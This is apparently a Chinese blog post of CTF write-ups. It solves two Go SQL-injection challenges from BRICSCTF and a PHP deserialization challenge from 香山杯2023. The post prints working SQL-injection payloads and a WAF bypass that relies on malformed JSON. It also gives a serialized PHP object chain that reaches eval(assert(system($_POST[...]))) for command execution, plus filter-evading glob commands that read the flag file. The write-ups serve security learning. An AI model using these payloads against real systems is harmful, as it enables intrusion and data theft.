BRICSCTF
本文最后更新于551 天前,其中的信息可能已经过时,如有错误请发送邮件到1714510997@qq.com

这是这个周末的第二场外卡赛,国外的比赛好像特别喜欢js这种语言,两次打了两场比赛,两场比赛都有js,对于XSS漏洞,国内基本上没有什么比赛在出这种题,但是国外特别喜欢出,一出就很难,基本上是0解,这一次靠着川哥解了两道Web,还是有很大的收获的

ChadGPT

一个SQL注入的题目,其实很简单,只是这是用Go写的,国内的SQL注入一般都是PHP,这还是第一次遇到Go语言的SQL注入

main.go

rows, err := db.QueryContext(ctx, `SELECT reply FROM replies WHERE LOWER(prompt) LIKE '%`+strings.ToLower(q.Q)+`%' LIMIT 1`)

查询语句就是这里,使用的单引号闭合,有回显

waf.go

func sqlSafe(s string) string {
	s = strings.ReplaceAll(s, "'", "''")
	s = strings.ReplaceAll(s, "\"", "\"\"")
	return s
}

将'替换为'',将"替换为"",只有这一个过滤

如果没有过滤,我们将构造的语句是什么样的呢,是不是' union select 1#但是过了waf之后就变为了'' union select 1#我们只要能把前面一个'给注释掉,让他被解析为一个字符串,而不是'就可以轻松绕过了,注释符自然是\了,所以最终的payload

\' union select flag from flags#

GigaChadGPT

和上一题唯一的区别就在于waf上

func isStringSafe(s string) bool {
	alpha := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 \t\n\r"
	for _, c := range s {
		if !strings.ContainsRune(alpha, c) {
			return false
		}
	}
	return true
}

func isSafeJson(j any) bool {
	switch v := j.(type) {
	case string:
		return isStringSafe(v)
	case []any:
		out := true
		for _, lv := range v {
			out = isSafeJson(lv) && out
		}
		return out
	case map[string]any:
		out := true
		for _, mv := range v {
			out = isSafeJson(mv) && out
		}
		return out
	}
	return true
}

func trySanitizeJson(r *http.Request) bool {
	var j any
	var buf bytes.Buffer
	tee := io.TeeReader(r.Body, &buf)
	defer func() {
		r.Body.Close()
		r.Body = io.NopCloser(&buf)
	}()
	if err := json.NewDecoder(tee).Decode(&j); err != nil {
		return true
	}

	return isSafeJson(j)
}

这里限制的很死,只允许字母和数字,但是又给了我们\r\n\t,利用点自然就到了这里,想要通过waf的限制不太可能,那我们绕过waf这个函数是否可以呢,当然可以,我们看看main.go里面的这一行代码

safe := trySanitizeJson(request)

我们传入的参数,经过trySanitizeJson这个函数才会被waf检测,这个函数是用来json解码的,他有一个逻辑上的问题,如果我们json解码失败,他就会直接返回true

if err := json.NewDecoder(tee).Decode(&j); err != nil {
		return true
	}

怎样会导致json解码失败呢,联想到\r\n\t还没利用起来,那我们尝试利用它来构造我们的payload

import requests

url = "https://gigachadgpt-647150b7b2303d42.brics-ctf.ru/api/predict"
headers = {
    "Content-Type":"application/json"
}

req = requests.post(url=url,data="{\"q\":\"\n\'union select flag from flags#\"}",headers=headers)
print(req.text)

这里提交json格式的数据不能直接传requests模块里面的json参数,因为json会把\r\n\t解析为字符串,就会被waf拦截,所以我们要手动提交json参数

为什么\r\t\n回到是json解码失败呢,这是因为\n导致了json格式不正确,json格式不正确就会解码失败

这也给我们绕waf提供了一种思路,如果waf本身限制得很死,那么我们就该考虑从代码的逻辑上入手了

香山杯2023

PHP_unserialize_pro

简单的反序列化加绕过

<?php
    error_reporting(0);
    class Welcome{
        public $name;
        public $arg = 'welcome';
        public function __construct(){
            $this->name = 'Wh0 4m I?';
        }
        public function __destruct(){
            if($this->name == 'A_G00d_H4ck3r'){
                echo $this->arg;
            }
        }
    }

    class G00d{
        public $shell;
        public $cmd;
        public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
            if(preg_match('/f|l|a|g|*|?/i', $cmd)){
                die("U R A BAD GUY");
            }
            eval($shell($cmd));
        }
    }

    class H4ck3r{
        public $func;
        public function __toString(){
            $function = $this->func;
            $function();
        }
    }

    if(isset($_GET['data']))
        unserialize($_GET['data']);
    else
        highlight_file(__FILE__);
?>

构造就不多说了,主要看看绕过

if(preg_match('/f|l|a|g|*|?/i', $cmd)){
                die("U R A BAD GUY");
            }

这里过滤了$cmd,而且是单字符过滤,就导致拼接,bash,hex这些都没用了,一般来说我们最后构造的命令都是这种形式

eval(system("ls /"));

既然它没有限制$shell这个参数,我们就换一种执行方法,用$_POST来绕过preg_match

eval(assert(system($_POST[1])));

所以最后的payload:

O:7:"Welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:5:"shell";s:6:"assert";s:3:"cmd";s:19:"system($_POST["b"])";}}}

当然还有其他的payload,这里就不多解释了

<?php
error_reporting(0);
class Welcome{
    public $name = 'A_G00d_H4ck3r';
    public $arg = 'welcome';
    public function __construct(){
        $this->name == 'A_G00d_H4ck3r';
    }
}

class G00d{
    //本地调试打好的题
//    public $shell = 'strtolower';
//    public $cmd = 'dir ../../../../../';
//    public $cmd = 'show_source(chr(47).chr(102).chr(49).chr(97).chr(103));';

    public $shell = 'system';
//    public $cmd = 'dir';
//    public $cmd = 'more /[e-h]1[0-b][e-h]';
    public $cmd = 'sort /[!q]1[!q][!q]';
//    public $cmd = 'cd /;echo `more dir`';
    
    public function __invoke(){ //__invoke会在把对象当作一个方法调用的时候自动调用
        $shell = $this->shell;
        $cmd = $this->cmd;
        if(preg_match('/f|l|a|g|*|?/i', $cmd)){
            die("U R A BAD GUY");
        }
        eval($shell($cmd));
    }
}

class H4ck3r{
    public $func;
    public function __construct(){
        $this->func = new G00d();
    }
}
$a = new Welcome();
$a->arg = new H4ck3r();
echo serialize($a);

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇